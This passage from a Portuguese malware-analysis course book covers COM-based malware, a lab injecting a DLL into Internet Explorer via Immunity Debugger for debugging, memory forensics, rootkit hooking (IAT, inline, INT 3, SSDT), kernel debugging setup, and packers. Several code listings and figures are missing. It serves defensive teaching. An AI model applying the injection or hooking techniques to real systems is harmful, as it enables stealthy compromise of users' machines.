CLSID:0002DF01-0000-0000-C000-000000000046
Engenharia Reversa e Análise de Malware | 115
HKLM\SOFTWARE\Classes\CLSID\<identificador>
HKCU\SOFTWARE\Classes\CLSID\<identificador>
HKLM\SOFTWARE\Classes\CLSID\0002DF01-0000-0000-C000-000000000046\
Alguns malwares implementam um COM server malicioso, que dessa forma é utilizado por
outras aplicações. Uma funcionalidade de COM server muito comum para malware é o Browser
Engenharia Reversa e Análise de Malware | 116
Helper Objects (BHOs), que são plug-ins de terceiros para o Internet Explorer. BHOs não possuem
restrições, assim os autores de malwares os utilizam para executar código dentro do processo do
Internet Explorer, isso permite eles monitorarem o tráfego da Internet, rastrear o uso do browser e
se comunicarem com a Internet sem precisar executar seu próprio processo.
Malwares que implementam COM servers geralmente são fáceis de detectar porque eles
exportam inúmeras funções, incluindo: DllCanUnloadNow, DllGetClassObject, DllInstall,
DllRegisterServer e DllUnregisterServer.
Nesse Lab iremos analisar uma DLL maliciosa que foi gerada pelo executável do Lab 05-02.
Na análise deve-se atentar para todos os tópicos que foram discutidos nesse capítulo, inclusive o uso
de objetos COM.
Material necessário:
- Máquina virtual com Windows XP 32-bit
- PEiD, Exeinfo PE, RDG
- FakeNet, Wireshark
- Sysinternals Suite
- IDA Pro Free
- Arquivo: Lab-07-01.rar
Nesse Lab iremos utilizar o Immunity Debugger para injetar uma DLL em um processo
qualquer e colocaremos um Breakpoint no entry point da DLL injetada para debugá-la desde a
primeira instrução como se fosse um executável normal.
Material necessário:
- Máquina virtual com Windows XP 32-bit
- Sysinternals Suite
- Python 2.7 Win 32
- Immunity Debugger
Passo a Passo
Engenharia Reversa e Análise de Malware | 117
1- Execute normalmente o programa que servirá como processo host da DLL, nesse caso irei
utilizar o Internet Explorer.
2- Abra o Immunity Debugger e clique em File – Attach para selecionar o processo no qual o
ImmDbg irá anexar para debugar. Será exibida uma janela com todos os processos em execução.
Selecione o IEXPLORE e clique em Attach.
3- O ImmDbg irá abri o processo IEXPLORE.exe em seu ambiente e irá pausar a execução.
Queremos injetar uma DLL no processo e parar a execução exatamente no Entry Point da DLL.
Aqui temos um problema, a função que faz a injeção da DLL é a LoadLibrary() e sabemos
que quando ela carregar a DLL na memória do processo, ela automaticamente executará o Entry
Point da DLL não dando tempo de colocar um breakpoint aí.
Para lidar com isso o ImmDbg possui uma opção, clique em Options – Debugging options
e selecione a aba Events. Marque a opção “Break on new module (DLL)” e clique em OK. Assim o
debugger irá parar a execução bem após ter carregado a DLL na memória e antes de executar o
Entry Point.
Engenharia Reversa e Análise de Malware | 118
4- Estamos prontos para injetar a DLL. Clique no segundo botão da barra de tarefas do ImmDbg
para a abrir a Python Shell.
5- A shell que se abriu nos permite executar comando python e ter acesso a API python do
debugger. Para obter a documentação da API há o menu ImmLib – Help no próprio ImmDbg ou
ainda na pasta de instalação do programa: Immunity Debugger\Documentation\Ref\toc.html.
6- No momento que injetamos a DLL no processo é criada uma nova Thread para essa DLL, então
vamos injetar nossa DLL no processo e recuperar e exibir o número da Thread. Digite os seguintes
comando na shell:
>>>thread = imm.injectDll("c:\\p2p.dll")
>>>
>>>print "Thread ID: 0x%X" % thread
Thread ID: 0x134
Injetamos a DLL (escolhi a p2p.dll somente para testes, está localizada originalmente em
Engenharia Reversa e Análise de Malware | 119
7- A DLL foi injetada na memória do processo mas o módulo ainda não foi carregado pela
LoadLibrary(). Precisamos executar o programa para que nosso módulo seja chamado. Pode ser que
ele não seja o próximo módulo a ser carregado, talvez precisamos executar mais de uma vez o
programa (F9).
Quando pressionarmos F9 para a execução, teremos que ficar de olho na janela de módulos
carregados (Window – 3 Executable modules) para descobrir se o nosso está lá. Às vezes o
ImmDbg já nos apresenta essa janela assim que o módulo é carregado e ele estará destacado em
vermelho.
8- Pressione F9 e observe os resultados, caso não tenha carregado a DLL pressione novamente F9
até atingi-la. No momento que carregar o nosso módulo injetado será exibida na janela de módulos
essa linha em vermelho:
9- Nosso módulo foi carregado e o Entry Point da DLL ainda não foi executado. Agora vamos
voltar para a Python Shell para colocar um breakpoint no Entry Point da DLL carregada. Utilize os
comandos abaixo:
>>>mod = imm.getModule("p2p.dll")
>>>
>>>print "Module ImageBase: 0x%X" % mod.getBase()
Module ImageBase: 0x4EFB0000
>>>
>>>print "Module EntryPoint: 0x%X" % mod.getEntry()
Module EntryPoint: 0x4EFC22E4
>>>
>>>imm.setBreakpoint(mod.getEntry())
0
Engenharia Reversa e Análise de Malware | 120
Primeiro atribuímos para uma variável o módulo carregado, em seguida apenas por questões
de estudo imprimimos os endereços do ImageBase e EntryPoint do módulo, com as funções
getBase() e getEntry() respectivamente. Por fim colocamos o breakpoint exatamente no EntryPoint
do módulo. Se olharmos na janela de breakpoint do ImmDbg ele estará lá.
10- Agora retire aquela opção de parar a execução nos módulos e execute o programa novamente
com F9 ou com o comando imm.run() no Python Shell. A execução irá parar em nosso breakpoint e
a partir daí é só debuggar a DLL normalmente.
Engenharia Reversa e Análise de Malware | 121
8. Memory Forensics
Antes de começar a analisar a memória, você tem que decidir qual ferramenta utilizar para
adquiri-la. Essa aquisição pode ser de toda a memória RAM do computador ou somente de um
processo ou DLL. Existem ferramentas específicas para cada uso, é importante verificar se a
ferramenta que está utilizando é compatível com o sistema onde será executada. Você também tem
que decidir onde irá salvar a memória capturada, se será no mesmo disco do sistema (que poderá
contaminá-lo) ou em um externo. Lembre-se que se for capturada toda a memória RAM do
computador, o arquivo gerado, conhecido como dump da memória, terá o mesmo tamanho da
RAM.
MoonSols oferece a Community Edition que é gratuita para não profissionais, estudantes e
qualquer um interessado em aprender sobre dump de memória. Das ferramentas do kit destacam-se
as bem conceituadas win32dd.exe e win64dd.exe projetadas para capturar a memória RAM de
Windows 32 e 64 bits respectivamente.
Ainda há a DumpIt, que talvez seja a ferramenta mais simples de captura de memória
disponível, com apenas um clique é possível capturar toda a memória RAM do computador, ideal
para ser transportada em pendrives.
Memoryze
http://www.mandiant.com/products/free_software/memoryze/
MANDIANT Memory é uma ferramenta gratuita de forense de memória que pode ser
utilizada para adquirir e/ou analisar dumps de memória tanto em sistema ligados (live system)
quando em dumps de memória previamente capturados. Na função de aquisição de memória ela
pode ser utilizada para fazer uma cópia de toda a RAM ou somente de um processo ou driver.
LordPE
O LordPE é uma ferramenta bastante versátil, além de outras funcionalidades ela é muito
utilizada para aquisição da memória de um processo ou DLL específica.
Engenharia Reversa e Análise de Malware | 123
Sua utilização é muito simples, na lista de processos ou DLLs que estejam executando no
computador, basta clicar com o botão direito e escolher a opção dump full.
Volatility Framework
https://www.volatilesystems.com/default/volatility
Por se tratar de uma ferramenta open source, há muitos plug-ins que são desenvolvidos pela
comunidade para expandir as funcionalidades do Volatility. Mais informações podem ser
encontradas na Wiki do projeto: http://code.google.com/p/volatility/w/list.
Audit Viewer é uma ferramenta open source que permite a usuários examinarem os
resultados da ferramenta Memoryze. Permite visualizar saídas XML de uma forma fácil de ser
entendida com ajuda de sua interface gráfica. Utilizando agrupamentos de dados e capacidades de
busca, o Audit Viewer torna a análise de memória um pouco mais intuitiva.
Nesse Lab faremos uma introdução sobre aquisição e análise de memória no Windows. Será
simulada a execução de um malware e depois como podemos analisá-lo na memória com o
Volatility.
Material necessário
- Máquina virtual Win XP SP3
- LordPE
- MoonSols Windows Memory Toolkit (http://www.moonsols.com/windows-memory-toolkit/)
- DumpIt! (http://www.moonsols.com/wp-content/plugins/download-monitor/download.php?id=7)
- Python 2.7
- Volatility Framework (https://www.volatilesystems.com/default/volatility)
- Arquivo: Lab-08-01.rar
Engenharia Reversa e Análise de Malware | 125
Rootkit é um tipo de malware que utiliza mecanismos para esconder e assegurar sua
presença no computador. Geralmente eles tentam ocultar recursos como arquivos, processos,
entradas no registro, conexões de rede, portas e tudo o mais que for interessante para seu
funcionamento. Vamos ver agora detalhes desse poderoso malware.
O predecessor do primeiro rootkit não foi na verdade um rootkit mas sim um conjunto de
aplicações para remover evidências da invasão de um sistema. Eram chamados de “log cleaner kits”
e surgiram por volta de 1989 em sistemas invadidos. Ajudavam os atacantes a cobrirem seus rastros.
Esses kits seriam executados pelo atacante assim que ele obtivesse acesso root no servidor, as
ferramentas buscavam por vários arquivos de log onde havia registro do usuário e comandos
executados, abriam esses arquivos e estrategicamente apagavam certas linhas ou o arquivo inteiro.
Enquanto log cleaners ajudavam a ocultar o acesso inicial ao sistema, atacantes queriam
sempre estar protegidos de uma descoberta por parte do administrador do sistema. Essa necessidade
os levou a criação da primeira geração de rootkits, cujo principal propósito era executar comandos
do atacante sem ser visto. Para conseguir isso, além dos log cleaners os atacantes também copiavam
para o sistema invadido versões modificadas de comandos comuns do Unix como ls e ps. Essas
novas versões removiam da saída dos comandos os arquivos e processos utilizados pelo atacante,
como por exemplo, backdoors. Dessa forma os administradores não identificariam nada fora do
normal.
Já as gerações mais novas de rootkits utilizam suas habilidades de ocultação para ajudar
outros malwares, como programas de captura de senhas bancárias e keyloggers, a permanecerem
ocultos dos usuários e das ferramentas anti-malware. A parceria dos malwares com os rootkits tem
exigido aos desenvolvedores de rootkits aumentarem suas qualidades e capacidades de ocultação
drasticamente. Quando começaram a serem detectados no Unix os rootkits geralmente só
implementavam sua capacidade de se permanecer oculto no sistema através de um método, como
foi explicado anteriormente, já os rootkits atuais utilizam inúmeros métodos avançados. Esses
métodos serão discutidos no decorrer desse capítulo.
Engenharia Reversa e Análise de Malware | 126
para atacantes inexperientes conseguirem desenvolver e espalhar esse tipo de rootkit. Da mesma
forma ferramentas anti-malware e antivírus passaram a detectar esse tipo de código malicioso
facilmente. Apesar disso alguns malwares atuais ainda utilizam técnicas de user-mode rootkits e
entendê-las é importante.
Uma vez que o rootkit depende de se permanecer oculto no sistema, ele deve interceptar e
enumerar as chamadas à Application Programming Interface (API) em user-mode e remover o
rootkit de qualquer resultado retornado. Esse procedimento é chamado de API hooking e deve ser
implementado de um jeito que não seja detectado pelo administrador do sistema. É fundamental
entender como API hooking funciona para entender os user-mode rootkits.
Existem algumas maneiras diferentes de implementar API hooking, tudo depende das
intenções do autor do rootkit. Um exemplo bastante discutido foi o rootkit que a Sony BMG
incorporou nos CDs em 2005. Ela criou uma tecnologia contra cópias ilegais de CD que assim que
o CD era executado no computador eram feitas instalações de softwares e modificações no registro,
tudo isso de forma oculta e com técnicas de hooking para que essas modificações permanecessem
invisíveis ao gerenciador de tarefas e registro do Windows. A intenção era que o software nunca
fosse encontrado e removido do computador, para bloquear cópias do CD. Nesse caso a intenção
não foi exclusivamente maliciosa, mas mesmo assim as técnicas podem ser copiadas por autores de
malwares para ocultarem seus arquivos.
Como sabemos, aplicações user-mode fazem interface com o kernel executando system
calls, que são funções específicas exportadas pelas DLLs fornecidas pelo sistema operacional. O
rootkit irá utilizar esse padrão de chamadas de funções para se executar, ele intercepta ou faz um
hook nessa chamada e adiciona novas funções com chamadas a códigos maliciosos.
Por exemplo, se uma aplicação user-mode quer listar todos os arquivos de um diretório do
drive C, ela deverá chamar a função da API do Windows FindFirstFile(), que é exportada pela
kernel32.dll. Um rootkit user-mode irá encontrar a função na kernel32.dll e modificá-la, assim
quando a função for chamada o código do rootkit que será executado ao invés do código da
kernel32.dll. Tradicionalmente, um rootkit poderia simplesmente chamar o código real no
kernel32.dll e filtrar os resultadosantes de devolvê-los para a aplicação.
Em um esforço para aumentar a estabilidade do sistema operacional, a Microsoft
implementou endereços virtuais de memória para cada processo, assim uma aplicação de um
usuário não pode interferir em aplicações executados por outro usuário. Dessa forma, quando uma
aplicação requisita acesso a certo endereço de memória, o sistema operacional intercepta essa
chamada e pode negar o acesso. Todavia, como todas as aplicações user-mode do Windows
Engenharia Reversa e Análise de Malware | 128
executam em seu próprio endereçamento de memória, o rootkit precisa fazer hooking e ajustar o
caminho da chamada da função no endereçamento de memória de todas as aplicações que estão
rodando no sistema para ter certeza que todos os resultados estão sendo filtrados corretamente.
Adicionalmente, o rootkit precisa ser notificado quando uma nova aplicação é carregada,
assim também poderá interceptar essa aplicação. Essa técnica é diferente das técnicas de kernel-
mode rootkits que não precisam de interceptação contínua das chamadas do sistema.
Especificamente, um kernel-mode rootkit pode fazer hooking e interceptar somente uma system call
do kernel e todas as chamadas user-mode serão interceptadas.
O primeiro passo de um user-mode rootkit é injetar seu código no processo onde ele quer
instalar um hook. Geralmente isso é feito com a injeção de uma DLL ou um shellcode, porém se o
autor do rootkit não conseguir injetar o código ele não será capaz de instalar o hook nas chamadas
das APIs. Essa injeção geralmente pode acontecer através da técnica de Windowshooks ou com as
funções CreateRemoteThread e LoadLibrary.
Há muitos métodos e técnicas de instalar hooks em processos, iremos citar apenas três, que
são: Import Address Table hooking,inline function hooking e INT 3 hook.
Essa técnica é simples e largamente utilizada em programação, tanto com boas intenções
como más intenções. Quando um executável é chamado o Windows lê a estrutura do arquivo PE e o
carrega na memória. Uma parte desse processo é a listagem de todas as funções que o executável
importa das DLLs, esse é um processo dinâmico e precisa ser realizado antes que a primeira
instrução do PE seja executada. O Windows loader então preenche uma tabela com o ponteiro de
todas as funções importadas, essa tabela é conhecida como IAT. Criando a IAT, o executável é capaz
de realizar um simples jump para o endereço de memória onde essa função está, para cada API que
é chamada pelo programa. Então, tudo que o rootkit precisa fazer agora é alterar o endereço de uma
função específica na IAT, assim a aplicação irá chamar a função maliciosa ao invés da verdadeira.
A figura abaixo ilustra esse processo.
Engenharia Reversa e Análise de Malware | 129
A segunda técnica para hooking é referenciada como inline function hooking. Essa técnica
modifica as DLLs do sistema operacional substituindo os primeiros cinco bytes da função alvo por
instruções do rootkit. Criando um jump para o rootkit, a função interceptada pode controlar a
função e alterar os dados de retorno.
INT 3 Hook
INT 3 (opcode 0xCC) é a instrução utilizada pelos debuggers para parar o fluxo de um
programa com um breakpoint. Ela pode ser utilizada para desviar o fluxo normal para um código
qualquer (hook) e depois retornar ao código original. Quando se utiliza esse método para hooking,
cada chamada a função “hookada” será interrompida por um INT 3 e será executado o código
malicioso, após a execução o fluxo é retornado à função original. Assim é possível sniffar o
programa antes que ele manipule os dados.
Existem algumas ferramentas projetadas para detectarem rootkits, elas fazem uma série de
varreduras no computador para encontrar indícios de hooks. Duas bem conhecidas são:
GMER (http://www.gmer.net)
Segundo o site do desenvolvedor, GMER é uma aplicação que detecta e remove rootkits. Ela
busca por:
Processos ocultos
Threads ocultas
Engenharia Reversa e Análise de Malware | 130
Módulos ocultos
Serviços ocultos
Arquivos ocultos
Setores do disco (MBR) ocultos
Alternate Data Streams
Chaves do registro ocultas
Drivers hooking SSDT
Drivers hooking IDT
Drivers hooking IRP calls
Inline hooks
PyDbg é um debugger open source feito em Python para Windows. Na verdade trata-se de
um conjunto de bibliotecas Python que podem ser utilizadas para realizar todas as funções que os
debuggers comuns fazem. Ele faz parte do PaiMei framework [1] que foi criado por Pedram Amini.
Nesse Lab iremos executar um processo e com ajuda do pydbg criar hooks nesse processo
para interceptar o uso de determinadas funções da API do Windows, isso fará com que entendemos
melhor na prática como o processo de hooking funciona.
[1] https://www.openrce.org/downloads/details/208/PaiMei
Material necessário
Instalação do PyDbg
Engenharia Reversa e Análise de Malware | 131
O PyDbg faz parte do framework PaiMei, então seria necessário instalar o framework para
conseguirmos utilizá-la, porém como esse processo é um pouco complicado já que são necessárias
várias configurações, fiz uma compilação somente com os arquivos necessários para o PyDbg
funcionar. Siga os passos para instalação:
9.6Kernel-mode Rootkits
Windows Executive
Windows Kernel
Device drivers existem em primeiro lugar para fazerem a interface com dispositivos físicos
de hardware através da HAL. Um exemplo simples é um driver de teclado que lê e interpreta os
códigos das teclas pressionadas e traduz isso em uma estrutura de dados utilizável pelo sistema
Engenharia Reversa e Análise de Malware | 134
operacional. Device drivers normalmente são escritos em C ou assembly e têm a extensão .sys ou
.ocx. Um kernel module é semelhante, mas tipicamente contém apenas rotinas de suporte (em vez
de funcionalidades essenciais), e é implementado em uma DLL que é importada pelo driver.
No entanto, além da função de lidar com o hardware, device drivers também são escritos
exclusivamente para acessarem componentes kernel-mode e estruturas de dados do sistema
operacional. Essa é uma função legítima para um device driver, o próprio Windows inclui muitos
drivers que fazem exatamente isso. Isso significa que muitos drivers não se relacionam com
qualquer dispositivo físico.
Device drivers são componentes únicos na arquitetura do Windows,eles têm a capacidade de
“conversar” diretamente com hardware ou utilizarem funções exportadas pelo kernel e Windows
Executive.Observe na figura acima que os drivers não se posicionam acima do kernel e nem na
HAL, eles estão ao lado dessas camadas. Isso significa que eles estão “em pé de igualdade” e
possuem pouca ou nenhuma dependência desses componentes para interagir com o hardware. Eles
podem optar por usar o Executive para tarefas como memory mapping (converter um endereço
virtual em um endereço físico) e processamento de I/O, device drivers também podem implementar
esses recursos em suas próprias rotinas eexportá-las para o user mode.
Essa flexibilidade extrema pode tanto dar mais poder ao sistema quanto colocá-lo em risco.
Enquanto isso permite o Windows ser muito flexível e “plugável”, também coloca o sistema em
risco com drivers defeituosos ou maliciosos.
Device drivers do Windows, mais conhecido simplesmente como drivers, permitem aos
desenvolvedores rodarem código no kernel do Windows. Drivers são difíceis de analisar porque são
carregados na memória, ficam residentese respondem às solicitações das aplicações. Isto é ainda
mais complicado porque as aplicações não interagem diretamente com os drivers do kernel. Em vez
disso elas acessam devices objects, que enviam os pedidos para dispositivos específicos.
Dispositivos não são necessariamente componentes físicos de hardware; os driver cria e destrói os
device objects, que podem ser acessados a partir do user mode.
Por exemplo, considere uma unidade flash USB. Há um driver no sistema que lida com USB
flash drives, mas uma aplicação não faz pedidos diretamente para esse driver, ao invés disso faz
solicitações a um device object específico. Quando o usuário insere o drive USB no computador, o
Windows cria o a "unidade F:" que é o device object. Assim um aplicativo pode fazer requisições
para a unidade F:, que em última análise, enviará o pedido para o driver responsável pelos flash
drives USB. O mesmo driver pode lidar com requisições para uma segunda unidade flash USB, mas
os aplicativos irão acessá-las através de um device object diferente, como por exemplo, "unidade
G:".
Para que esse sistema funcione adequadamente, os drivers devem ser carregados nokernel,
assim como as DLLs são carregadas em processos. Quando um driver é carregado pela primeira
vez, sua função DriverEntry é chamada, semelhante à DllMain das DLLs.Ao contrário de DLLs,
que expõem a funcionalidade através da tabela de Exports, drivers devem registrar o endereço para
as funções de callback, que serão chamadasquando um componente de software em user-mode
solicitar um serviço. O registroacontece na rotina DriverEntry. O Windows cria uma estrutura de
driver object,que é passado para a rotina DriverEntry. A DriverEntry é responsável por preencher
essa estrutura com suas funções de callback. O DriverEntry, então, cria um device que pode ser
acessado a partir do user-mode, e o aplicativo interage com o driver através do envio de requisições
para esse device.
Considere uma requisição de leitura de dados de um programa do user space. Este pedido
eventualmente será encaminhado para um driver que gerencia o hardware que armazena os dados a
serem lidos. A aplicação user-mode primeiro obtém um handle para esse device, e então chama
ReadFile nesse handle. O kernel irá processar o pedido doReadFile, e, eventualmente, chamar a
função de callback do driver responsávelpara lidar com as solicitações de leitura I/O.
A requisição mais comum encontrada em um kernel driver malicioso é a DeviceIoControl,
que é uma requisição genérica de um user-mode module para um dispositivo gerenciado por um
driver. O programa em user-mode passa um buffer de dados de comprimento arbitrário como input
Engenharia Reversa e Análise de Malware | 136
Alguns kernel-mode malwares não tem nenhum componente significativo de user-mode. Ele
não cria nenhum device object, e o kernel driver executa por conta própria.
Drivers maliciosos geralmente não costumam controlar o hardware, em vez disso,eles
interagem com os componentes principais do kernel do Windows, o NTOSKRNL.EXE e
eventualmente a hal.dll. Malware, muitas vezes, importa funções de um ou desses dois arquivos, a
fim para manipular o kernel.
A maioria dos rootkits em uso opera de alguma forma modificando o kernel. Embora
rootkits possam empregar uma grande variedade de técnicas, na prática, uma técnica é usada mais
do que qualquer outra: System Service Descriptor Table (SSDT) hooking. Essa técnica já é antiga
e fácil de detectar em relação a outras técnicas de rootkit. No entanto, ainda é usado por malwares
porque é fácil para entender, flexível e simples de implementar.
A SSDT é usada internamente pela Microsoft para buscar chamadas de funções no kernel.
Não é normalmente acessada por aplicativo de terceiro (não-Microsoft) ou drivers. Lembre-se que o
código do kernel só é acessível a partir do espaço do usuário através das instruções SYSCALL,
Engenharia Reversa e Análise de Malware | 137
SYSENTER, ou INT 0x2E. Versões modernas do Windows usam a instrução SYSENTER, que sabe
qual função que deve ser chamada no kernel através do código da função que é armazenado em
EAX.
A listagem abaixo mostra um trecho do código da NTDLL.DLL que implementa a função
NtCreateFile e deve lidar com transições do user-mode para o kernel-mode, que acontece todas as
vezes que NtCreateFile é chamada.
A chamada para dword ptr [edx] irá seguir para essas instruções:
Quando um rootkit "hooka" uma dessas funções, ele vai mudar o valor na SSDT, assim o
código do rootkit é chamado ao invés da função pretendida no kernel. No exemplo, a entrada em
0x25 teria de ser alterada para apontar para uma função dentro de um driver malicioso. Os rootkits
normalmente implementam isso chamando a função NtCreateFile original e filtrando os resultados
com base nas configurações do rootkit. O rootkit simplesmente remove todos os arquivos que quer
esconder a fim de evitar que outras aplicações possam identificá-los.
Engenharia Reversa e Análise de Malware | 138
Agora, iremos analisar um exemplo de rootkit que “hooka” a SSDT. Iremos analisar um
sistema hipoteticamente infectado, que imaginamos conter um driver malicioso instalado.
O primeiro jeito, e mais óbvio, de procurar por um SSDT hooking é examinando a própria
SSDT. A SSDT pode ser vista com o WinDbg no offset armazenado em
nt!KeServiceDescriptorTable. Todos os offsets de funções na SSDT devem apontar para alguma
função dentro dos limites do NT kernel, então a primeira coisa que podemos fazer é descobrir esses
limites. Em nosso caso, o NTOSKRNL.EXE inicia no endereço 804d7000 e termina em 806cd580.
Se um rootkit estiver “hookando” uma dessas funções, a função provavelmente não apontará para o
NT Kernel. Quando examinamos a SSDT, vemos que há uma função que aparentemente não se
encaixa na tabela. Abaixo uma pequena listagem da SSDT.
O valor no offset 0x25 na tabela (marcado como 1) aponta para uma função que está fora
dos limites do módulo NTOSKRNL, então um rootkit deve estar fazendo hooking dessa função. A
função que está sendo “hookada” nesse caso é NtCreateFile. Nós podemos descobrir qual função
está sendo "hookada" examinando a SSDT de um sistema sem o rootkit instalado e ver qual função
está localizado no offset.
Podemos descobrir qual módulo contém o endereço do hook listando osmódulos abertos
com o comando lm como mostrado na listagem abaixo. No kernel,os módulos listados são todos
drivers. Nós encontramos o driver que contém o endereço 0xf7ad94a4, e vemos que ele está dentro
do driver chamado Rootkit.
Engenharia Reversa e Análise de Malware | 139
Assim que identificamos o driver, iremos olhar para o código do hook e começara analisar o
driver. Vamos olhar para duas coisas: a seção de código queinstala o hook e a função que executa o
hook. A maneira mais simplespara encontrar a função que instala o hook é buscar no IDA Pro pelos
dados que fazem referência à função de hook. A listagem abaixo é uma listagem em assembly do
código que "hooka" a SSDT.
Engenharia Reversa e Análise de Malware | 140
A função de hook faz um jump para a função NtCreateFile original para algumassolicitações
e retorna para 0xC0000034 para os outras. O valor 0xC0000034 corresponde a
STATUS_OBJECT_NAME_NOT_FOUND. A chamada em 1 contém um código (não mostrado)
que avalia os ObjectAttributes (que contém informaçõessobre o objeto, tais como nome do arquivo)
do arquivo que o programa em user-mode está tentando abrir. A função de hook retorna um valor
diferente de zero se for permitido o prosseguimento da função NtCreateFile, ou retorna zero se o
rootkit bloquear o arquivo de ser aberto. Se a função de hook retorna um zero, a aplicação user-
mode receberá um erro indicando que o arquivo não existe. Issoprevine que os aplicativos user-
mode obtenham um handle para um arquivo em particular e em contra partida não interfere nas
outras chamadas à NtCreateFile.
Referências:
[1] http://pt.wikipedia.org/wiki/Stuxnet
[2] http://en.wikipedia.org/wiki/Duqu
Nesse Lab iremos analisar um rootkit em kernel-mode com a ajuda do WinDbg. Como
estaremos debugando o próprio kernel do Windows é necessário que o debugger execute a partir de
outro computador. Veremos como fazer com o que o WinDbg executado a partir de uma máquina
real se comunique com uma máquina virtual com Windows.
Material necessário
Engenharia Reversa e Análise de Malware | 142
Como sabemos, o kernel-mode lida diretamente com o sistema operacional, então caso
queiramos debugar nesse nível de privilégio é necessário realizar esse procedimento a partir de
outro computador. Assim, no computador host teremos instalado o WinDbg e no computador guest
teremos o Windows que iremos debugar, nesse caso o computador host será a máquina Windows
real e o guest será uma máquina Windows virtual que roda através do VirtualBox, porém as mesmas
configurações podem ser feitas no VMWare.
Passo a Passo
1- A comunicação entre as duas máquinas será feita através da porta serial COM, mas como
estamos lidando com uma máquina virtual essa porta também será virtual. Na janela de
configurações da máquina virtual abra a guia referente às portas seriais.
2-Habilite a porta serial, deixa como COM1, em modo de porta escolha “Pipe no Hospedeiro”,
marque a opção Criar Pipe e em porta digite: \\.\pipe\com_1. Veja como ficaram as configurações:
Engenharia Reversa e Análise de Malware | 143
3- Agora iremos criar uma entrada no boot loader do Windows para ele iniciar não opção de
debugging. Inicie a máquina virtual normalmente, abra o arquivo “C:\boot.ini”. Caso não esteja
aparecendo será necessário desmarcar a opção “Ocultar arquivos protegidos do sistema
operacional” no Windows Explorer.
4- Duplique a última linha do arquivo boot.ini, e nessa última linha adicione os parâmetros:
/debug /debugport=COM1 /baudrate=115200.
O que estamos fazendo aqui é adicionar ao boot do Windows “outra versão” do Windows, nesse
caso uma versão com suporte a debugging e comunicação através da COM1, o parâmetro baudrate
é a velocidade dessa comunicação. A versão final do arquivo ficou assim:
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
/noexecute=optin /fastdetect
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows XP Pro com Kernel Debugging"
/noexecute=optin /fastdetect /debug /debugport=COM1 /baudrate=115200
5- A máquina virtual guest já está pronta, agora reinicie e antes do Windows inicializar serão
apresentadas as duas versões, selecione a versão com suporte a debugging.
Engenharia Reversa e Análise de Malware | 144
6- O próximo passo é configurar o WinDbg no computador host para comunicar com o Windows da
máquina virtual. Abra o WinDbg e clique em File – Kernel Debug...
7- Configure a aba COM com os parâmetros abaixo, ou seja, são os mesmos parâmetros
configurados na máquina virtual. Clique em OK.
Engenharia Reversa e Análise de Malware | 145
8- O WinDbg ficará aguardando a conexão com a máquina virtual. Reinicie a máquina virtual na
versão kernel debugging e o WinDbg irá se conectar. Para verificar os módulos de kernel que estão
sendo carregadas habilite a opção de verbose no WinDbg no menu View – Verbose Output. A
janela exibirá informações parecidas com essas abaixo.
9- O WinDbg está pronto para debugar o kernel da máquina virtual. Para parar a execução da
máquina virtual e habilitar a utilização do debugger, pressione Ctrl + Breakno WinDbg. Na
verdade isso gera um breakpoint no Windows que está sendo debugado.
Engenharia Reversa e Análise de Malware | 146
Conforme já foi discutido, atualmente quase todos os malwares possuem alguma espécie de
“armadura” para se protegerem. Primeiramente para evitarem ser detectados pelas ferramentas de
segurança como antivírus e sistemas de detecção de intrusão. Também querem ficar longe dos olhares
curiosos dos analistas de vírus, pesquisadores de segurança e outros profissionais interessados em
realizar a engenharia reversa do código.
As técnicas empregadas para dificultar a engenharia reversa do código são conhecidas por vários
nomes, entre eles anti-reversing, obfuscation e ofuscação de código. Elas podem ser utilizadas em
conjunto criando várias camadas de proteção, às vezes é difícil distinguir quando termina uma camada
de proteção e quando começa outra. Os cryptors ou crypters são ferramentas comuns utilizadas pelos
autores de malware para adicionarem várias dessas proteções aos executáveis. Para facilitar os estudos
podemos agrupar essas técnicas em quatro grupos: Packers, Anti-Debugging, Anti-Disassembly e Anti-
Virtual Machine. A seguir veremos com mais detalhes cada uma dessas técnicas.
10.1. Packers
Packers se tornaram muito populares entre os autores de códigos maliciosos porque eles ajudam
os malwares se esconderem de antivírus, dificultam a análise, e ainda diminuem o tamanho do arquivo.
A maioria dos packers é fácil de utilizar e estão disponíveis gratuitamente para download. Analisar
estaticamente um malware que está com packer não é muito útil, o packer deve ser removido antes de
ser feita a análise, o que às vezes é muito complicado.
Packers são utilizados em executáveis por duas razões principais: para diminuir o tamanho do
arquivo e/ou frustrar a análise e detecção. Embora haja uma grande variedade de packers, todos seguem
um padrão similar: eles transformam um executável e criam um novo executável que armazenará o
executável transformado como dados e conterá uma “unpacking stub”, isto é, uma seção de código que
fará o processo de unpacking, que será chamada pelo SO.
Quando o malware está com packer (compactado), um analista só terá acesso ao arquivo
compactado, e não poderá examinar o programa original sem o packer e nem o programa utilizado para
compactar o malware. Para realizar o unpacking de um executável, nós devemos desfazer o trabalho
realizado pelo packer, o que requer o entendimento de como o packer opera.
Engenharia Reversa e Análise de Malware | 148
Todos os packers recebem um executável como entrada e produzem um executável como saída.
O arquivo compactado é comprimido criptografado, ou transformado, tornando difícil a tarefa de
reconhecê-lo ou fazer a engenharia reversa.
A maioria dos packers utiliza um algoritmo de compressão para comprimir o executável
original. Um packer projetado para dificultar a análise o executável original pode empregar técnicas
contra engenharia reversa como anti-disassembly, anti-debugging, ou anti-VM. Packers podem
compactar todo o executável, incluindo todas as seção de dados e resources, ou podem compactar
somente a seção de código e dados.
Para manter a funcionalidade do programa original, um programa compactado precisa
armazenar informações sobre os Imports. A informação pode ser armazenada em qualquer formato e
existem várias estratégias para isso. Quando fazemos o unpacking do programa, reconstruir a tabela
de imports às vezes pode ser desafiante e levar muitas horas, mas é necessário para analisar as
funcionalidades do programa.
Executáveis sem packers são carregados pelo SO. Com programas compactados, a seção de
código de unpacking é carregada pelo SO e então ela carrega o programa original. O entry point
aponta para o código de unpacking ao invés de apontar para o entry point original. O programa
original geralmente é armazenado em uma ou mais seções extras do arquivo.
O código de unpacking pode ser visualizado pelo analista de malware, e entender as
diferentes partes desse código é fundamental para realizar o unpacking do executável. A seção de
